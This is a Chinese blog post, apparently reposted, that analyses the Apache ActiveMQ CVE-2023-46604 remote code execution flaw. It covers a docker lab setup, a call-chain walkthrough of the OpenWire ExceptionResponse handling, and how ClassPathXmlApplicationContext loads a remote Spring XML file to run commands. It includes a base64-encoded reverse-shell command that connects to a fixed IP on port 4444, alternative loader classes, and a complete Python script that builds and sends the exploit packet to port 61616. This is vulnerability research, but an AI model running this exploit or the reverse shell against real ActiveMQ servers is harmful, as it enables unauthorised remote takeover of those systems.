文章总结: 本文深入分析ApacheActiveMQCVE-2023-46604远程代码执行漏洞,该漏洞源于OpenWire协议ExceptionResponse处理中createThrowable方法反射执行攻击者控制的类名与消息参数,无安全检查。攻击者可设置clazz为ClassPathXmlApplicationContext,message为恶意XML的HTTPURL,实例化时自动加载解析远程XML,通过SpringBean的init-method执行任意命令。文章详述环境搭建、复现步骤、反弹shell及完整调用链与Spring容器初始化流程分析,并给出受影响版本范围,具备较高实战参考价值。 综合评分: 88 文章分类: 漏洞分析,WEB安全,代码审计,漏洞POC
ActiveMQ系列漏洞学习-CVE-2023-46604
原创
Jbymy Jbymy
Jbymy
2026年8月13日 14:50 浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
CVE-2023-46604(ExceptionResponse路径)
一、漏洞描述
CVE-2023-46604 是 Apache ActiveMQ 中的一个严重远程代码执行漏洞。攻击者可以通过向受影响的 ActiveMQ 服务器发送恶意数据,利用此漏洞在目标系统上执行任意代码。
该漏洞影响 Apache ActiveMQ 的多个版本,主要通过 TCP 端口(默认 61616)进行攻击。攻击者需要具备对该端口的访问权限,才能发送恶意数据包触发漏洞。
Apache ActiveMQ < 5.18.3Apache ActiveMQ < 5.17.6Apache ActiveMQ < 5.16.7Apache ActiveMQ < 5.15.16
二、环境搭建
继续使用CVE-2015-5254的环境,但是需要补充spring的依赖,然后重启docker
docker cp spring-core-3.2.11.RELEASE.jar 72c:/opt/apache-activemq-5.11.1/lib/docker cp spring-context-3.2.11.RELEASE.jar 72c:/opt/apache-activemq-5.11.1/lib/docker cp spring-beans-3.2.11.RELEASE.jar 72c:/opt/apache-activemq-5.11.1/lib/docker cp spring-aop-3.2.11.RELEASE.jar 72c:/opt/apache-activemq-5.11.1/lib/docker cp spring-expression-3.2.11.RELEASE.jar 72c:/opt/apache-activemq-5.11.1/lib/docker cp aopalliance-1.0.jar 72c:/opt/apache-activemq-5.11.1/lib/
三、漏洞复现
首先创建恶意xml文件:
<?xml version=”1.0” encoding=”UTF-8” ?> touch /tmp/test_cve
四、反弹shell
只需要修改poc.xml文件即可
<?xml version=”1.0” encoding=”UTF-8” ?> /bin/bash -c echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjYuMjQxLzQ0NDQgMD4mMQ== | base64 -d | /bin/bash
五、代码分析
在activemq-client模块的org.apache.activemq.openwire.v10.BaseDataStreamMarshaller的createThrowable方法下断点,可以看到完整调用过程:
createThrowable:229, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarsalThrowable:513, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarshal:113, ExceptionResponseMarshaller (org.apache.activemq.openwire.v10)doUnmarshal:356, OpenWireFormat (org.apache.activemq.openwire)unmarshal:268, OpenWireFormat (org.apache.activemq.openwire)readCommand:221, TcpTransport (org.apache.activemq.transport.tcp)doRun:213, TcpTransport (org.apache.activemq.transport.tcp)run:196, TcpTransport (org.apache.activemq.transport.tcp)run:722, Thread (java.lang)
(1)java.lang.Thread.run():新线程启动,进入网络运输层的主循环,开始持续监听 Socket 上的数据。
(2)org.apache.activemq.transport.tcp.TcpTransport.run():调用 doRun() 方法,进入持续读取网络数据的循环。
(3)org.apache.activemq.transport.tcp.TcpTransport.doRun():从 TCP Socket 的 DataInputStream 中读取原始字节流,准备交由协议层解析。
(4)org.apache.activemq.transport.tcp.TcpTransport.readCommand():从字节流中提取一个完整的 OpenWire 命令数据包,并调用 OpenWireFormat.unmarshal() 将其解码为 Java 对象。
(5)org.apache.activemq.openwire.OpenWireFormat.unmarshal():读取数据包的第一个字节 dataType,根据该值查找对应的 DataStreamMarshaller。当 dataType = 31 时,对应的是 ExceptionResponse 命令,因此选择 ExceptionResponseMarshaller 来处理后续数据。
(6)org.apache.activemq.openwire.v10.ExceptionResponseMarshaller.looseUnmarshal():专门用于解码 ExceptionResponse 对象。此方法会调用父类 BaseDataStreamMarshaller.looseUnmarshalThrowable(),开始读取“异常”相关的元数据。
(7)org.apache.activemq.openwire.v10.BaseDataStreamMarshaller.looseUnmarshalThrowable():此方法依次调用两次 looseUnmarshalString(),从字节流中顺序读取两个字段:
- 先读取 类名(clazz):先读布尔值标记是否存在,若存在则通过
readUTF()读取字符串。 - 再读取 异常消息(message):同样的方式读取第二个字符串。
由于 readUTF() 带有长度前缀,读取指针会精确移动,因此两个字符串不会被读错。
(8)org.apache.activemq.openwire.v10.BaseDataStreamMarshaller.createThrowable(clazz, message):这是漏洞的核心触发点。方法内部直接反射执行,攻击者完全控制 clazz 和 message 参数,且没有任何安全检查(如校验 clazz 是否为 Throwable 子类),从而可以实例化任意带有 String 参数的类。
(9)执行恶意代码,攻击者将 clazz 设置为 ClassPathXmlApplicationContext,将 message 设置为恶意 XML 的 HTTP URL。实例化该类时,它会自动加载并解析远程 XML 文件,进而触发其中定义的 Spring Bean(如 ProcessBuilder),并通过 init-method=”start” 执行任意系统命令,完成远程代码执行(RCE)。
ClassPathXmlApplicationContext类命令执行过程
先来学习一下org.springframework.context.support.ClassPathXmlApplicationContext这个类为什么可以进行命令执行:
ClassPathXmlApplicationContext 是 Spring 框架的核心类,它的工作流程可以清晰地分为几个阶段。要理解它是如何执行恶意命令的,关键在于剖析其从初始化到加载 Bean 的完整过程。
ClassPathXmlApplicationContext 是 Spring 中一个具体的应用上下文(ApplicationContext)实现。它的核心职责就是根据提供的配置文件位置(在这里是一个 HTTP URL),去加载配置、解析 Bean 定义,最后初始化并启动整个 Spring 容器。
这个类位于spring-context-RELEASE.jar包中,具体位置为support目录下,调用链如下:
// 1. 入口:接收一个字符串配置路径public ClassPathXmlApplicationContext(String configLocation) throws BeansException { // 2. 调用重载的构造方法,refresh 参数为 true,表示需要立即刷新容器 this(new String[]{configLocation}, true, (ApplicationContext)null); } // 3. 核心构造方法public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent) throws BeansException { super(parent); this.setConfigLocations(configLocations); if (refresh) { this.refresh(); }}
refresh() 方法定义在父类 AbstractApplicationContext 中,它就像容器的“总开关”,完整地执行了 Spring 容器的初始化流程。它包含以下 11 个关键步骤:
-
prepareRefresh():准备刷新上下文,设置启动时间、状态标志等。
-
obtainFreshBeanFactory():这是加载 Bean 定义的核心。它会创建一个
BeanFactory,并调用loadBeanDefinitions去解析指定的 XML 文件。 – 对于 HTTP URL,Spring 会通过网络下载poc.xml文件。 – 随后,XmlBeanDefinitionReader会解析这个 XML 文件,将文件中的<bean>标签(例如ProcessBuilder)转化为 Spring 内部的BeanDefinition对象。 -
prepareBeanFactory(beanFactory):对刚创建的
BeanFactory进行预处理,设置类加载器等。 -
postProcessBeanFactory(beanFactory):提供一个扩展点,允许子类在 Bean 工厂初始化后做额外处理。
-
invokeBeanFactoryPostProcessors(beanFactory):执行所有的
BeanFactoryPostProcessor。这是允许对 Bean 定义进行修改的扩展点。 -
registerBeanPostProcessors(beanFactory):注册
BeanPostProcessor,它们会在 Bean 实例化前后进行干预。 -
initMessageSource():初始化国际化消息源。
-
initApplicationEventMulticaster():初始化事件广播器。
-
onRefresh():一个模板方法,留给子类在刷新时做特定操作。
-
registerListeners():注册应用事件监听器。
-
finishBeanFactoryInitialization(beanFactory):这是实例化所有单例 Bean 的关键步骤。它会实例化所有非懒加载的单例 Bean。你的恶意
ProcessBuilderBean 就是在这里被创建的。
当 Spring 处理到你定义的 时,执行流程如下:
- 实例化:Spring 通过反射调用
ProcessBuilder的构造方法,并将touch和/tmp/test_cve作为参数传入。 - 属性赋值:为 Bean 的属性赋值。
- 初始化:执行
afterPropertiesSet等方法。 - 调用
init-method:这是最关键的一步。Spring 会检查bean定义中是否指定了init-method属性。因为你的 XML 中配置了init-method="start",Spring 就会在此时调用ProcessBuilder对象的start()方法。
ProcessBuilder.start() 是 Java 中用于启动新进程的 API,一旦被调用,你指定的 touch /tmp/test_cve 命令就会在目标系统上执行,从而实现了远程代码执行。
package org.example.springboot_activemq; import org.springframework.context.ApplicationContext;import org.springframework.context.support.ClassPathXmlApplicationContext; public class TestXml { public static void main(String[] args) { // 在下一行打上断点,然后 Step Into (F7) ApplicationContext context = new ClassPathXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”); }}
其中poc2.xml内容如下:
<?xml version=”1.0” encoding=”UTF-8” ?> calc.exe
言归正传
继续回到下面这个图和原始的调用链:
createThrowable:229, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarsalThrowable:513, BaseDataStreamMarshaller (org.apache.activemq.openwire.v10)looseUnmarshal:113, ExceptionResponseMarshaller (org.apache.activemq.openwire.v10)doUnmarshal:356, OpenWireFormat (org.apache.activemq.openwire)unmarshal:268, OpenWireFormat (org.apache.activemq.openwire)readCommand:221, TcpTransport (org.apache.activemq.transport.tcp)doRun:213, TcpTransport (org.apache.activemq.transport.tcp)run:196, TcpTransport (org.apache.activemq.transport.tcp)run:722, Thread (java.lang)
这里通过上面的分析,发现只需要传入className为ClassPathXmlApplicationContext和message为可控地址即可,看上一步调用BaseDataStreamMarshaller类,这里clazz和message都是利用looseUnmarshalString方法对dataIn进行解析得到的,DataInput是一个顺序读取的字节流,它维护着一个内部的读取指针。第二次调用 looseUnmarshalString 时,它并不是“重新开始”读,而是紧接着第一次调用结束的位置继续往下读,因此可以得到一个clazz和一个message:
protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn) throws IOException { if (dataIn.readBoolean()) { String clazz = looseUnmarshalString(dataIn); String message = looseUnmarshalString(dataIn); Throwable o = createThrowable(clazz, message); if (wireFormat.isStackTraceEnabled()) { if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) { StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()]; for (int i = 0; i < ss.length; i++) { try { ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR .newInstance(new Object[] {looseUnmarshalString(dataIn), looseUnmarshalString(dataIn), looseUnmarshalString(dataIn), Integer.valueOf(dataIn.readInt())}); } catch (IOException e) { throw e; } catch (Throwable e) { } } o.setStackTrace(ss); } else { short size = dataIn.readShort(); for (int i = 0; i < size; i++) { looseUnmarshalString(dataIn); looseUnmarshalString(dataIn); looseUnmarshalString(dataIn); dataIn.readInt(); } } o.initCause(looseUnmarsalThrowable(wireFormat, dataIn)); } return o; } else { return null; }}
其中looseUnmarshalString方法如下:
protected String looseUnmarshalString(DataInput dataIn) throws IOException { if (dataIn.readBoolean()) { return dataIn.readUTF(); } else { return null; }}
这里就能理解为什么poc要这么写了,通过直接发送一个OpenWire 数据包,触发服务器端的反序列化:
import socketimport argparse def main(ip, port, url): if not ip or not url: print(”Usage: script.py -i -p -u ”) return banner() class_name = ”org.springframework.context.support.ClassPathXmlApplicationContext” message = url header = ”1f00000000000000000001” body = header + ”01” + int2hex(len(class_name), 4) + string2hex(class_name) + ”01” + int2hex(len(message), 4) + string2hex(message) payload = int2hex(len(body) // 2, 8) + body data = bytes.fromhex(payload) print(”[*] Target:”, f”{ip}:{port}”) print(”[*] XML URL:”, url) print() print(”[*] Sending packet:”, payload) conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((ip, int(port))) conn.send(data) conn.close() def banner(): print(” _ _ _ __ __ ___ ____ ____ _____ \n / \\ ___| |_(_)_ _____| \\/ |/ _ \\ | _ \\ / ___| ____|\n / _ \\ / __| __| \\ \\ / / _ \\ |\\/| | | | |_____| |_) | | | _| \n / ___ \\ (__| |_| |\\ V / __/ | | | |_| |_____| _ <| |___| |___ \n /_/ \\_\\___|\\__|_| \\_/ \\___|_| |_|\\__\\_\\ |_| \\_\\\\____|_____|\n”) def string2hex(s): return s.encode().hex() def int2hex(i, n): if n == 4: return format(i, '04x') elif n == 8: return format(i, '08x') else: raise ValueError(”n must be 4 or 8”) if __name__ == ”__main__”: parser = argparse.ArgumentParser() parser.add_argument(”-i”, ”--ip”, help=”ActiveMQ Server IP or Host”) parser.add_argument(”-p”, ”--port”, default=”61616”, help=”ActiveMQ Server Port”) parser.add_argument(”-u”, ”--url”, help=”Spring XML Url”) args = parser.parse_args() main(args.ip, args.port, args.url)
-
header(
1f 00 00 00 00 00 00 00 00 00 01): -
1f: 命令类型。
0x1f(31) 是ExceptionResponse命令的标识符。 -
00 00 00 00: 命令ID (
commandId),一个 4 字节整数,用于请求-响应匹配。此处为 0,表示由服务端自动分配。 -
00: 响应标志 (
responseRequired),0x00表示不需要响应。 -
00 00 00 00: 其他保留/可选字段,全为 0。
-
01: 异常对象存在标志。
0x01表示ExceptionResponse中包含一个Throwable对象。 -
后续载荷: 这是
ExceptionResponse的核心数据,编码了要实例化的恶意类名和参数。 -
01: 类名字符串存在标志。
-
int2hex(len(class_name), 4): 类名的 UTF-8 字节长度,用 2 字节表示。
-
string2hex(class_name): 类名的 UTF-8 字节。
-
01: 消息字符串存在标志。
-
int2hex(len(message), 4): 消息的 UTF-8 字节长度,用 2 字节表示。
-
string2hex(message): 消息(恶意 XML 的 URL)的 UTF-8 字节。
-
int2hex(len(body) // 2, 8): 计算
body的字节数,并将其格式化为 4 字节(8 位十六进制)的十六进制字符串,作为size字段。 -
+ body: 将
size字段和body拼接。
其他的一些攻击类:
// ApplicationContext context = new ClassPathXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”);// ApplicationContext context = new FileSystemXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”);// ApplicationContext context = new FileSystemXmlApplicationContext(”F:\\同步盘\\渗透\\漏洞利用工具\\ActiveMQ\\CVE-2023-46604\\poc2.xml”);// ApplicationContext context = new GenericXmlApplicationContext(”http://127.0.0.1:8000/poc2.xml”);
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Jbymy Jbymy Jbymy《ActiveMQ系列漏洞学习-CVE-2023-46604》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论